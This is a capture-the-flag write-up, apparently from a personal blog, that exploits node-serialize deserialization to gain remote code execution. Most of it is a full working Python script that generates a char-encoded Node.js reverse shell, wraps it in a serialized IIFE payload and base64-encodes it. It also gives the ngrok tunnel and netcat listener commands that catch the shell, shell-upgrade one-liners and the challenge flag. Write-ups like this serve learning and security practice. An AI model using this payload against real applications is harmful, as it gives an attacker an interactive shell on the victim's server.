← Back
Node-Serialize | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

Based on this paper node js deserialization, I reliazed i can inject something from this kind:

{"rce":"_$$ND_FUNC$$_function (){
  some-js-code
}()"
}

And then, it’ll execute the js-code. (Of course we need to send it base64-encoded…)

I’m using the reverse shell from here nodejsshell.py, although I’ve modified it by a bit, this is our script:

# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import base64
import sys

if len(sys.argv) != 3:
    print("Usage: %s <LHOST> <LPORT>" % (sys.argv[0]))
    sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
    """String.CharCode"""
    encoded = ''
    for char in string:
        encoded = encoded + "," + str(ord(char))
    return encoded[1:]

print( "[+] LHOST = %s" % (IP_ADDR))
print( "[+] LPORT = %s" % (PORT))
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/sh',[]);
        client.write("Connected!\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Disconnected!\\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print("[+] Encoding")
PAYLOAD = charencode(NODEJS_REV_SHELL)
FINAL = "eval(String.fromCharCode(%s))" % (PAYLOAD)
print(FINAL)

# Added this lines to print the serialized payload:
print("[+] Serialized Payload:")
SERIALIZED_PAYLOAD = '{"rce":"_$$ND_FUNC$$_function (){' + FINAL + '}()"}'
print(base64.b64encode(SERIALIZED_PAYLOAD.encode()).decode())


We can run it with our ngrok tunnel, in my case:

python3 nodejsshell.py 2.tcp.eu.ngrok.io 15620

This is the ngrok tunnel I set up, using this command:

ngrok tcp 777

ngrok

And then just send the b64-encoded string, don’t forget to set up a listening port, in my case, in port 777:

nc -nvlp 777

here I’m sending the payload: send payload

And this is the shell I got. FINAL

I’ve used those commands from hack-tools chrome extension, to make the shell better looking:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty rows 38 columns 116

Flag: Y3pS3r0d3c0mp4nY1sB4d!